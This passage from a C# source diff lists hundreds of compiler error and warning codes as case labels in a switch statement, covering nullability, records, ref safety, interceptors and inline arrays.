ErrorCode.ERR_IllegalSuppression: + case ErrorCode.WRN_ConvertingNullableToNonNullable: + case ErrorCode.WRN_NullReferenceAssignment: + case ErrorCode.WRN_NullReferenceReceiver: + case ErrorCode.WRN_NullReferenceReturn: + case ErrorCode.WRN_NullReferenceArgument: + case ErrorCode.WRN_UnboxPossibleNull: + case ErrorCode.WRN_DisallowNullAttributeForbidsMaybeNullAssignment: + case ErrorCode.WRN_NullabilityMismatchInTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnPartial: + case ErrorCode.WRN_NullabilityMismatchInTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_UninitializedNonNullableField: + case ErrorCode.WRN_NullabilityMismatchInAssignment: + case ErrorCode.WRN_NullabilityMismatchInArgument: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate: + case ErrorCode.ERR_ExplicitNullableAttribute: + case ErrorCode.WRN_NullabilityMismatchInArgumentForOutput: + case ErrorCode.WRN_NullAsNonNullable: + case ErrorCode.ERR_NullableUnconstrainedTypeParameter: + case ErrorCode.ERR_AnnotationDisallowedInObjectCreation: + case ErrorCode.WRN_NullableValueTypeMayBeNull: + case ErrorCode.ERR_NullableOptionNotAvailable: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterConstraint: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotation: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint: + case ErrorCode.ERR_TripleDotNotAllowed: + case ErrorCode.ERR_BadNullableContextOption: + case ErrorCode.ERR_NullableDirectiveQualifierExpected: + case ErrorCode.ERR_BadNullableTypeof: + case ErrorCode.ERR_ExpressionTreeCantContainRefStruct: + case ErrorCode.ERR_ElseCannotStartStatement: + case ErrorCode.ERR_ExpressionTreeCantContainNullCoalescingAssignment: + case ErrorCode.WRN_NullabilityMismatchInExplicitlyImplementedInterface: + case ErrorCode.WRN_NullabilityMismatchInInterfaceImplementedByBase: + case ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList: + case ErrorCode.ERR_DuplicateExplicitImpl: + case ErrorCode.ERR_UsingVarInSwitchCase: + case ErrorCode.ERR_GoToForwardJumpOverUsingVar: + case ErrorCode.ERR_GoToBackwardJumpOverUsingVar: + case ErrorCode.ERR_IsNullableType: + case ErrorCode.ERR_AsNullableType: + case ErrorCode.ERR_FeatureInPreview: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNull: + case ErrorCode.WRN_ImplicitCopyInReadOnlyMember: + case ErrorCode.ERR_StaticMemberCantBeReadOnly: + case ErrorCode.ERR_AutoSetterCantBeReadOnly: + case ErrorCode.ERR_AutoPropertyWithSetterCantBeReadOnly: + case ErrorCode.ERR_InvalidPropertyReadOnlyMods: + case ErrorCode.ERR_DuplicatePropertyReadOnlyMods: + case ErrorCode.ERR_FieldLikeEventCantBeReadOnly: + case ErrorCode.ERR_PartialMethodReadOnlyDifference: + case ErrorCode.ERR_ReadOnlyModMissingAccessor: + case ErrorCode.ERR_OverrideRefConstraintNotSatisfied: + case ErrorCode.ERR_OverrideValConstraintNotSatisfied: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnPartialImplementation: + case ErrorCode.ERR_NullableDirectiveTargetExpected: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode: + case ErrorCode.WRN_NullReferenceInitializer: + case ErrorCode.ERR_MultipleAnalyzerConfigsInSameDir: + case ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation: + case ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementationForMember: + case ErrorCode.ERR_InvalidModifierForLanguageVersion: + case ErrorCode.ERR_ImplicitImplementationOfNonPublicInterfaceMember: + case ErrorCode.ERR_MostSpecificImplementationIsNotFound: + case ErrorCode.ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember: + case ErrorCode.ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember: + case ErrorCode.ERR_DefaultInterfaceImplementationInNoPIAType: + case ErrorCode.ERR_AbstractEventHasAccessors: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterNotNullConstraint: + case ErrorCode.ERR_DuplicateNullSuppression: + case ErrorCode.ERR_DefaultLiteralNoTargetType: + case ErrorCode.ERR_ReAbstractionInNoPIAType: + case ErrorCode.ERR_InternalError: + case ErrorCode.ERR_ImplicitObjectCreationIllegalTargetType: + case ErrorCode.ERR_ImplicitObjectCreationNotValid: + case ErrorCode.ERR_ImplicitObjectCreationNoTargetType: + case ErrorCode.ERR_BadFuncPointerParamModifier: + case ErrorCode.ERR_BadFuncPointerArgCount: + case ErrorCode.ERR_MethFuncPtrMismatch: + case ErrorCode.ERR_FuncPtrRefMismatch: + case ErrorCode.ERR_FuncPtrMethMustBeStatic: + case ErrorCode.ERR_ExternEventInitializer: + case ErrorCode.ERR_AmbigBinaryOpsOnUnconstrainedDefault: + case ErrorCode.WRN_ParameterConditionallyDisallowsNull: + case ErrorCode.WRN_ShouldNotReturn: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_DoesNotReturnMismatch: + case ErrorCode.ERR_NoOutputDirectory: + case ErrorCode.ERR_StdInOptionProvidedButConsoleInputIsNotRedirected: + case ErrorCode.ERR_FeatureNotAvailableInVersion9: + case ErrorCode.WRN_MemberNotNull: + case ErrorCode.WRN_MemberNotNullWhen: + case ErrorCode.WRN_MemberNotNullBadMember: + case ErrorCode.WRN_ParameterDisallowsNull: + case ErrorCode.WRN_ConstOutOfRangeChecked: + case ErrorCode.ERR_DuplicateInterfaceWithDifferencesInBaseList: + case ErrorCode.ERR_DesignatorBeneathPatternCombinator: + case ErrorCode.ERR_UnsupportedTypeForRelationalPattern: + case ErrorCode.ERR_RelationalPatternWithNaN: + case ErrorCode.ERR_ConditionalOnLocalFunction: + case ErrorCode.WRN_GeneratorFailedDuringInitialization: + case ErrorCode.WRN_GeneratorFailedDuringGeneration: + case ErrorCode.ERR_WrongFuncPtrCallingConvention: + case ErrorCode.ERR_MissingAddressOf: + case ErrorCode.ERR_CannotUseReducedExtensionMethodInAddressOf: + case ErrorCode.ERR_CannotUseFunctionPointerAsFixedLocal: + case ErrorCode.ERR_ExpressionTreeContainsPatternImplicitIndexer: + case ErrorCode.ERR_ExpressionTreeContainsFromEndIndexExpression: + case ErrorCode.ERR_ExpressionTreeContainsRangeExpression: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesPattern: + case ErrorCode.WRN_IsPatternAlways: + case ErrorCode.ERR_PartialMethodWithAccessibilityModsMustHaveImplementation: + case ErrorCode.ERR_PartialMethodWithNonVoidReturnMustHaveAccessMods: + case ErrorCode.ERR_PartialMethodWithOutParamMustHaveAccessMods: + case ErrorCode.ERR_PartialMethodWithExtendedModMustHaveAccessMods: + case ErrorCode.ERR_PartialMethodAccessibilityDifference: + case ErrorCode.ERR_PartialMethodExtendedModDifference: + case ErrorCode.ERR_SimpleProgramLocalIsReferencedOutsideOfTopLevelStatement: + case ErrorCode.ERR_SimpleProgramMultipleUnitsWithTopLevelStatements: + case ErrorCode.ERR_TopLevelStatementAfterNamespaceOrType: + case ErrorCode.ERR_SimpleProgramDisallowsMainType: + case ErrorCode.ERR_SimpleProgramNotAnExecutable: + case ErrorCode.ERR_UnsupportedCallingConvention: + case ErrorCode.ERR_InvalidFunctionPointerCallingConvention: + case ErrorCode.ERR_InvalidFuncPointerReturnTypeModifier: + case ErrorCode.ERR_DupReturnTypeMod: + case ErrorCode.ERR_AddressOfMethodGroupInExpressionTree: + case ErrorCode.ERR_CannotConvertAddressOfToDelegate: + case ErrorCode.ERR_AddressOfToNonFunctionPointer: + case ErrorCode.ERR_ModuleInitializerMethodMustBeOrdinary: + case ErrorCode.ERR_ModuleInitializerMethodMustBeAccessibleOutsideTopLevelType: + case ErrorCode.ERR_ModuleInitializerMethodMustBeStaticParameterlessVoid: + case ErrorCode.ERR_ModuleInitializerMethodAndContainingTypesMustNotBeGeneric: + case ErrorCode.ERR_PartialMethodReturnTypeDifference: + case ErrorCode.ERR_PartialMethodRefReturnDifference: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnPartial: + case ErrorCode.ERR_StaticAnonymousFunctionCannotCaptureVariable: + case ErrorCode.ERR_StaticAnonymousFunctionCannotCaptureThis: + case ErrorCode.ERR_OverrideDefaultConstraintNotSatisfied: + case ErrorCode.ERR_DefaultConstraintOverrideOnly: + case ErrorCode.WRN_ParameterNotNullIfNotNull: + case ErrorCode.WRN_ReturnNotNullIfNotNull: + case ErrorCode.WRN_PartialMethodTypeDifference: + case ErrorCode.ERR_RuntimeDoesNotSupportCovariantReturnsOfClasses: + case ErrorCode.ERR_RuntimeDoesNotSupportCovariantPropertiesOfClasses: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithWhen: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNullWithWhen: + case ErrorCode.WRN_PrecedenceInversion: + case ErrorCode.ERR_ExpressionTreeContainsWithExpression: + case ErrorCode.WRN_AnalyzerReferencesFramework: + case ErrorCode.WRN_RecordEqualsWithoutGetHashCode: + case ErrorCode.ERR_AssignmentInitOnly: + case ErrorCode.ERR_CantChangeInitOnlyOnOverride: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongInitOnly: + case ErrorCode.ERR_ExplicitPropertyMismatchInitOnly: + case ErrorCode.ERR_BadInitAccessor: + case ErrorCode.ERR_InvalidWithReceiverType: + case ErrorCode.ERR_CannotClone: + case ErrorCode.ERR_CloneDisallowedInRecord: + case ErrorCode.WRN_RecordNamedDisallowed: + case ErrorCode.ERR_UnexpectedArgumentList: + case ErrorCode.ERR_UnexpectedOrMissingConstructorInitializerInRecord: + case ErrorCode.ERR_MultipleRecordParameterLists: + case ErrorCode.ERR_BadRecordBase: + case ErrorCode.ERR_BadInheritanceFromRecord: + case ErrorCode.ERR_BadRecordMemberForPositionalParameter: + case ErrorCode.ERR_NoCopyConstructorInBaseType: + case ErrorCode.ERR_CopyConstructorMustInvokeBaseCopyConstructor: + case ErrorCode.ERR_DoesNotOverrideMethodFromObject: + case ErrorCode.ERR_SealedAPIInRecord: + case ErrorCode.ERR_DoesNotOverrideBaseMethod: + case ErrorCode.ERR_NotOverridableAPIInRecord: + case ErrorCode.ERR_NonPublicAPIInRecord: + case ErrorCode.ERR_SignatureMismatchInRecord: + case ErrorCode.ERR_NonProtectedAPIInRecord: + case ErrorCode.ERR_DoesNotOverrideBaseEqualityContract: + case ErrorCode.ERR_StaticAPIInRecord: + case ErrorCode.ERR_CopyConstructorWrongAccessibility: + case ErrorCode.ERR_NonPrivateAPIInRecord: + case ErrorCode.WRN_UnassignedThisAutoPropertyUnsupportedVersion: + case ErrorCode.WRN_UnassignedThisUnsupportedVersion: + case ErrorCode.WRN_ParamUnassigned: + case ErrorCode.WRN_UseDefViolationProperty: + case ErrorCode.WRN_UseDefViolationField: + case ErrorCode.WRN_UseDefViolationThisUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationOut: + case ErrorCode.WRN_UseDefViolation: + case ErrorCode.ERR_CannotSpecifyManagedWithUnmanagedSpecifiers: + case ErrorCode.ERR_RuntimeDoesNotSupportUnmanagedDefaultCallConv: + case ErrorCode.ERR_TypeNotFound: + case ErrorCode.ERR_TypeMustBePublic: + case ErrorCode.ERR_InvalidUnmanagedCallersOnlyCallConv: + case ErrorCode.ERR_CannotUseManagedTypeInUnmanagedCallersOnly: + case ErrorCode.ERR_UnmanagedCallersOnlyMethodOrTypeCannotBeGeneric: + case ErrorCode.ERR_UnmanagedCallersOnlyRequiresStatic: + case ErrorCode.WRN_ParameterIsStaticClass: + case ErrorCode.WRN_ReturnTypeIsStaticClass: + case ErrorCode.ERR_EntryPointCannotBeUnmanagedCallersOnly: + case ErrorCode.ERR_ModuleInitializerCannotBeUnmanagedCallersOnly: + case ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly: + case ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate: + case ErrorCode.ERR_InitCannotBeReadonly: + case ErrorCode.ERR_UnexpectedVarianceStaticMember: + case ErrorCode.ERR_FunctionPointersCannotBeCalledWithNamedArguments: + case ErrorCode.ERR_EqualityContractRequiresGetter: + case ErrorCode.WRN_UnreadRecordParameter: + case ErrorCode.ERR_BadFieldTypeInRecord: + case ErrorCode.WRN_DoNotCompareFunctionPointers: + case ErrorCode.ERR_RecordAmbigCtor: + case ErrorCode.ERR_FunctionPointerTypesInAttributeNotSupported: + case ErrorCode.ERR_InheritingFromRecordWithSealedToString: + case ErrorCode.ERR_HiddenPositionalMember: + case ErrorCode.ERR_GlobalUsingInNamespace: + case ErrorCode.ERR_GlobalUsingOutOfOrder: + case ErrorCode.ERR_AttributesRequireParenthesizedLambdaExpression: + case ErrorCode.ERR_CannotInferDelegateType: + case ErrorCode.ERR_InvalidNameInSubpattern: + case ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces: + case ErrorCode.ERR_GenericConstraintNotSatisfiedInterfaceWithStaticAbstractMembers: + case ErrorCode.ERR_BadAbstractUnaryOperatorSignature: + case ErrorCode.ERR_BadAbstractIncDecSignature: + case ErrorCode.ERR_BadAbstractIncDecRetType: + case ErrorCode.ERR_BadAbstractBinaryOperatorSignature: + case ErrorCode.ERR_BadAbstractShiftOperatorSignature: + case ErrorCode.ERR_BadAbstractStaticMemberAccess: + case ErrorCode.ERR_ExpressionTreeContainsAbstractStaticMemberAccess: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberNotStatic: + case ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember: + case ErrorCode.ERR_ExplicitImplementationOfOperatorsMustBeStatic: + case ErrorCode.ERR_AbstractConversionNotInvolvingContainedType: + case ErrorCode.ERR_InterfaceImplementedByUnmanagedCallersOnlyMethod: + case ErrorCode.HDN_DuplicateWithGlobalUsing: + case ErrorCode.ERR_CantConvAnonMethReturnType: + case ErrorCode.ERR_BuilderAttributeDisallowed: + case ErrorCode.ERR_FeatureNotAvailableInVersion10: + case ErrorCode.ERR_SimpleProgramIsEmpty: + case ErrorCode.ERR_LineSpanDirectiveInvalidValue: + case ErrorCode.ERR_LineSpanDirectiveEndLessThanStart: + case ErrorCode.ERR_WrongArityAsyncReturn: + case ErrorCode.ERR_InterpolatedStringHandlerMethodReturnMalformed: + case ErrorCode.ERR_InterpolatedStringHandlerMethodReturnInconsistent: + case ErrorCode.ERR_NullInvalidInterpolatedStringHandlerArgumentName: + case ErrorCode.ERR_NotInstanceInvalidInterpolatedStringHandlerArgumentName: + case ErrorCode.ERR_InvalidInterpolatedStringHandlerArgumentName: + case ErrorCode.ERR_TypeIsNotAnInterpolatedStringHandlerType: + case ErrorCode.WRN_ParameterOccursAfterInterpolatedStringHandlerParameter: + case ErrorCode.ERR_CannotUseSelfAsInterpolatedStringHandlerArgument: + case ErrorCode.ERR_InterpolatedStringHandlerArgumentAttributeMalformed: + case ErrorCode.ERR_InterpolatedStringHandlerArgumentLocatedAfterInterpolatedString: + case ErrorCode.ERR_InterpolatedStringHandlerArgumentOptionalNotSpecified: + case ErrorCode.ERR_ExpressionTreeContainsInterpolatedStringHandlerConversion: + case ErrorCode.ERR_InterpolatedStringHandlerCreationCannotUseDynamic: + case ErrorCode.ERR_MultipleFileScopedNamespace: + case ErrorCode.ERR_FileScopedAndNormalNamespace: + case ErrorCode.ERR_FileScopedNamespaceNotBeforeAllMembers: + case ErrorCode.ERR_NoImplicitConvTargetTypedConditional: + case ErrorCode.ERR_NonPublicParameterlessStructConstructor: + case ErrorCode.ERR_NoConversionForCallerArgumentExpressionParam: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerMemberNamePreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerArgumentExpressionAttributeHasInvalidParameterName: + case ErrorCode.ERR_BadCallerArgumentExpressionParamWithoutDefaultValue: + case ErrorCode.WRN_CallerArgumentExpressionAttributeSelfReferential: + case ErrorCode.WRN_CallerArgumentExpressionParamForUnconsumedLocation: + case ErrorCode.ERR_NewlinesAreNotAllowedInsideANonVerbatimInterpolatedString: + case ErrorCode.ERR_AttrTypeArgCannotBeTypeVar: + case ErrorCode.ERR_AttrDependentTypeNotAllowed: + case ErrorCode.WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters: + case ErrorCode.ERR_LambdaWithAttributesToExpressionTree: + case ErrorCode.WRN_CompileTimeCheckedOverflow: + case ErrorCode.WRN_MethGrpToNonDel: + case ErrorCode.ERR_LambdaExplicitReturnTypeVar: + case ErrorCode.ERR_InterpolatedStringsReferencingInstanceCannotBeInObjectInitializers: + case ErrorCode.ERR_CannotUseRefInUnmanagedCallersOnly: + case ErrorCode.ERR_CannotBeMadeNullable: + case ErrorCode.ERR_UnsupportedTypeForListPattern: + case ErrorCode.ERR_MisplacedSlicePattern: + case ErrorCode.WRN_LowerCaseTypeName: + case ErrorCode.ERR_RecordStructConstructorCallsDefaultConstructor: + case ErrorCode.ERR_StructHasInitializersAndNoDeclaredConstructor: + case ErrorCode.ERR_ListPatternRequiresLength: + case ErrorCode.ERR_ScopedMismatchInParameterOfTarget: + case ErrorCode.ERR_ScopedMismatchInParameterOfOverrideOrImplementation: + case ErrorCode.ERR_ScopedMismatchInParameterOfPartial: + case ErrorCode.ERR_ParameterNullCheckingNotSupported: + case ErrorCode.ERR_RawStringNotInDirectives: + case ErrorCode.ERR_UnterminatedRawString: + case ErrorCode.ERR_TooManyQuotesForRawString: + case ErrorCode.ERR_LineDoesNotStartWithSameWhitespace: + case ErrorCode.ERR_RawStringDelimiterOnOwnLine: + case ErrorCode.ERR_RawStringInVerbatimInterpolatedStrings: + case ErrorCode.ERR_RawStringMustContainContent: + case ErrorCode.ERR_LineContainsDifferentWhitespace: + case ErrorCode.ERR_NotEnoughQuotesForRawString: + case ErrorCode.ERR_NotEnoughCloseBracesForRawString: + case ErrorCode.ERR_TooManyOpenBracesForRawString: + case ErrorCode.ERR_TooManyCloseBracesForRawString: + case ErrorCode.ERR_IllegalAtSequence: + case ErrorCode.ERR_StringMustStartWithQuoteCharacter: + case ErrorCode.ERR_NoEnumConstraint: + case ErrorCode.ERR_NoDelegateConstraint: + case ErrorCode.ERR_MisplacedRecord: + case ErrorCode.ERR_PatternSpanCharCannotBeStringNull: + case ErrorCode.ERR_UseDefViolationPropertyUnsupportedVersion: + case ErrorCode.ERR_UseDefViolationFieldUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationPropertyUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationPropertySupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldSupportedVersion: + case ErrorCode.WRN_UseDefViolationThisSupportedVersion: + case ErrorCode.WRN_UnassignedThisAutoPropertySupportedVersion: + case ErrorCode.WRN_UnassignedThisSupportedVersion: + case ErrorCode.ERR_OperatorCantBeChecked: + case ErrorCode.ERR_ImplicitConversionOperatorCantBeChecked: + case ErrorCode.ERR_CheckedOperatorNeedsMatch: + case ErrorCode.ERR_MisplacedUnchecked: + case ErrorCode.ERR_LineSpanDirectiveRequiresSpace: + case ErrorCode.ERR_RequiredNameDisallowed: + case ErrorCode.ERR_OverrideMustHaveRequired: + case ErrorCode.ERR_RequiredMemberCannotBeHidden: + case ErrorCode.ERR_RequiredMemberCannotBeLessVisibleThanContainingType: + case ErrorCode.ERR_ExplicitRequiredMember: + case ErrorCode.ERR_RequiredMemberMustBeSettable: + case ErrorCode.ERR_RequiredMemberMustBeSet: + case ErrorCode.ERR_RequiredMembersMustBeAssignedValue: + case ErrorCode.ERR_RequiredMembersInvalid: + case ErrorCode.ERR_RequiredMembersBaseTypeInvalid: + case ErrorCode.ERR_ChainingToSetsRequiredMembersRequiresSetsRequiredMembers: + case ErrorCode.ERR_NewConstraintCannotHaveRequiredMembers: + case ErrorCode.ERR_UnsupportedCompilerFeature: + case ErrorCode.WRN_ObsoleteMembersShouldNotBeRequired: + case ErrorCode.ERR_RefReturningPropertiesCannotBeRequired: + case ErrorCode.ERR_ImplicitImplementationOfInaccessibleInterfaceMember: + case ErrorCode.ERR_ScriptsAndSubmissionsCannotHaveRequiredMembers: + case ErrorCode.ERR_BadAbstractEqualityOperatorSignature: + case ErrorCode.ERR_BadBinaryReadOnlySpanConcatenation: + case ErrorCode.ERR_ScopedRefAndRefStructOnly: + case ErrorCode.ERR_FixedFieldMustNotBeRef: + case ErrorCode.ERR_RefFieldCannotReferToRefStruct: + case ErrorCode.ERR_FileTypeDisallowedInSignature: + case ErrorCode.ERR_FileTypeNoExplicitAccessibility: + case ErrorCode.ERR_FileTypeBase: + case ErrorCode.ERR_FileTypeNested: + case ErrorCode.ERR_GlobalUsingStaticFileType: + case ErrorCode.ERR_FileTypeNameDisallowed: + case ErrorCode.WRN_AnalyzerReferencesNewerCompiler: + case ErrorCode.ERR_FeatureNotAvailableInVersion11: + case ErrorCode.ERR_RefFieldInNonRefStruct: + case ErrorCode.ERR_CannotMatchOnINumberBase: + case ErrorCode.ERR_ScopedDiscard: + case ErrorCode.ERR_ScopedTypeNameDisallowed: + case ErrorCode.ERR_UnscopedRefAttributeUnsupportedTarget: + case ErrorCode.ERR_RuntimeDoesNotSupportRefFields: + case ErrorCode.ERR_ExplicitScopedRef: + case ErrorCode.ERR_UnscopedScoped: + case ErrorCode.WRN_DuplicateAnalyzerReference: + case ErrorCode.ERR_FilePathCannotBeConvertedToUtf8: + case ErrorCode.ERR_FileLocalDuplicateNameInNS: + case ErrorCode.ERR_DeconstructVariableCannotBeByRef: + case ErrorCode.WRN_ScopedMismatchInParameterOfTarget: + case ErrorCode.WRN_ScopedMismatchInParameterOfOverrideOrImplementation: + case ErrorCode.ERR_RefReturnScopedParameter: + case ErrorCode.ERR_RefReturnScopedParameter2: + case ErrorCode.ERR_RefReturnOnlyParameter: + case ErrorCode.ERR_RefReturnOnlyParameter2: + case ErrorCode.ERR_RefAssignReturnOnly: + case ErrorCode.WRN_EscapeVariable: + case ErrorCode.WRN_EscapeStackAlloc: + case ErrorCode.WRN_RefReturnNonreturnableLocal: + case ErrorCode.WRN_RefReturnNonreturnableLocal2: + case ErrorCode.WRN_RefReturnStructThis: + case ErrorCode.WRN_RefAssignNarrower: + case ErrorCode.WRN_MismatchedRefEscapeInTernary: + case ErrorCode.WRN_RefReturnParameter: + case ErrorCode.WRN_RefReturnScopedParameter: + case ErrorCode.WRN_RefReturnParameter2: + case ErrorCode.WRN_RefReturnScopedParameter2: + case ErrorCode.WRN_RefReturnLocal: + case ErrorCode.WRN_RefReturnLocal2: + case ErrorCode.WRN_RefAssignReturnOnly: + case ErrorCode.WRN_RefReturnOnlyParameter: + case ErrorCode.WRN_RefReturnOnlyParameter2: + case ErrorCode.ERR_RefAssignValEscapeWider: + case ErrorCode.WRN_RefAssignValEscapeWider: + case ErrorCode.ERR_ImplicitlyTypedDefaultParameter: + case ErrorCode.WRN_OptionalParamValueMismatch: + case ErrorCode.WRN_ParamsArrayInLambdaOnly: + case ErrorCode.ERR_UnscopedRefAttributeUnsupportedMemberTarget: + case ErrorCode.ERR_UnscopedRefAttributeInterfaceImplementation: + case ErrorCode.ERR_UnrecognizedRefSafetyRulesAttributeVersion: + case ErrorCode.ERR_BadSpecialByRefUsing: + case ErrorCode.ERR_InvalidPrimaryConstructorParameterReference: + case ErrorCode.ERR_AmbiguousPrimaryConstructorParameterAsColorColorReceiver: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterPassedToBase: + case ErrorCode.ERR_AnonDelegateCantUseRefLike: + case ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRef: + case ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRefLike: + case ErrorCode.ERR_AnonDelegateCantUseStructPrimaryConstructorParameterInMember: + case ErrorCode.ERR_AnonDelegateCantUseStructPrimaryConstructorParameterCaptured: + case ErrorCode.WRN_UnreadPrimaryConstructorParameter: + case ErrorCode.ERR_AssgReadonlyPrimaryConstructorParameter: + case ErrorCode.ERR_RefReturnReadonlyPrimaryConstructorParameter: + case ErrorCode.ERR_RefReadonlyPrimaryConstructorParameter: + case ErrorCode.ERR_AssgReadonlyPrimaryConstructorParameter2: + case ErrorCode.ERR_RefReturnReadonlyPrimaryConstructorParameter2: + case ErrorCode.ERR_RefReadonlyPrimaryConstructorParameter2: + case ErrorCode.ERR_RefReturnPrimaryConstructorParameter: + case ErrorCode.ERR_StructLayoutCyclePrimaryConstructorParameter: + case ErrorCode.ERR_UnexpectedParameterList: + case ErrorCode.WRN_AddressOfInAsync: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterInFieldInitializer: + case ErrorCode.WRN_ByValArraySizeConstRequired: + case ErrorCode.ERR_BadRefInUsingAlias: + case ErrorCode.ERR_BadUnsafeInUsingDirective: + case ErrorCode.ERR_BadNullableReferenceTypeInUsingAlias: + case ErrorCode.ERR_BadStaticAfterUnsafe: + case ErrorCode.ERR_BadCaseInSwitchArm: + case ErrorCode.ERR_ConstantValueOfTypeExpected: + case ErrorCode.ERR_UnsupportedPrimaryConstructorParameterCapturingRefAny: + case ErrorCode.ERR_InterceptorsFeatureNotEnabled: + case ErrorCode.ERR_InterceptorContainingTypeCannotBeGeneric: + case ErrorCode.ERR_InterceptorPathNotInCompilation: + case ErrorCode.ERR_InterceptorPathNotInCompilationWithCandidate: + case ErrorCode.ERR_InterceptorPositionBadToken: + case ErrorCode.ERR_InterceptorLineOutOfRange: + case ErrorCode.ERR_InterceptorCharacterOutOfRange: + case ErrorCode.ERR_InterceptorPathNotInCompilationWithUnmappedCandidate: + case ErrorCode.ERR_InterceptorMethodMustBeOrdinary: + case ErrorCode.ERR_InterceptorMustReferToStartOfTokenPosition: + case ErrorCode.ERR_InterceptorFilePathCannotBeNull: + case ErrorCode.ERR_InterceptorNameNotInvoked: + case ErrorCode.ERR_InterceptorNonUniquePath: + case ErrorCode.ERR_InterceptorLineCharacterMustBePositive: + case ErrorCode.ERR_InterceptorCannotUseUnmanagedCallersOnly: + case ErrorCode.ERR_BadUsingStaticType: + case ErrorCode.ERR_InlineArrayConversionToSpanNotSupported: + case ErrorCode.ERR_InlineArrayConversionToReadOnlySpanNotSupported: + case ErrorCode.ERR_InlineArrayIndexOutOfRange: + case ErrorCode.ERR_InvalidInlineArrayLength: + case ErrorCode.ERR_InvalidInlineArrayLayout: + case ErrorCode.ERR_InvalidInlineArrayFields: + case ErrorCode.ERR_ExpressionTreeContainsInlineArrayOperation: + case ErrorCode.ERR_RuntimeDoesNotSupportInlineArrayTypes: + case ErrorCode.ERR_InlineArrayBadIndex: + case ErrorCode.ERR_NamedArgumentForInlineArray: + case ErrorCode.ERR_CollectionExpressionTargetTypeNotConstructible: + case ErrorCode.ERR_ExpressionTreeContainsCollectionExpression: + case ErrorCode.ERR_CollectionExpressionNoTargetType: + case ErrorCode.WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase: + case ErrorCode.ERR_InlineArrayUnsupportedElementFieldModifier: + case ErrorCode.WRN_InlineArrayIndexerNotUsed: + case ErrorCode.WRN_InlineArraySliceNotUsed: + case ErrorCode.WRN_InlineArrayConversionOperatorNotUsed: + case ErrorCode.WRN_InlineArrayNotSupportedByLanguage: + case ErrorCode.ERR_CollectionBuilderAttributeInvalidType: + case ErrorCode.ERR_CollectionBuilderAttributeInvalidMethodName: + case ErrorCode.ERR_CollectionBuilderAttributeMethodNotFound: + case ErrorCode.ERR_CollectionBuilderNoElementType: + case ErrorCode.ERR_InlineArrayForEachNotSupported: + case ErrorCode.ERR_RefReadOnlyWrongOrdering: + case ErrorCode.WRN_BadArgRef: + case ErrorCode.WRN_ArgExpectedRefOrIn: + case ErrorCode.WRN_RefReadonlyNotVariable: + case ErrorCode.ERR_BadArgExtraRefLangVersion: + case ErrorCode.WRN_ArgExpectedIn: + case ErrorCode.WRN_OverridingDifferentRefness: + case ErrorCode.WRN_HidingDifferentRefness: + case ErrorCode.WRN_TargetDifferentRefness: + case ErrorCode.ERR_OutAttrOnRefReadonlyParam: + case ErrorCode.WRN_RefReadonlyParameterDefaultValue: + case ErrorCode.WRN_UseDefViolationRefField: + case ErrorCode.ERR_FeatureNotAvailableInVersion12: + case ErrorCode.ERR_CollectionExpressionEscape: + case ErrorCode.WRN_Experimental: + case 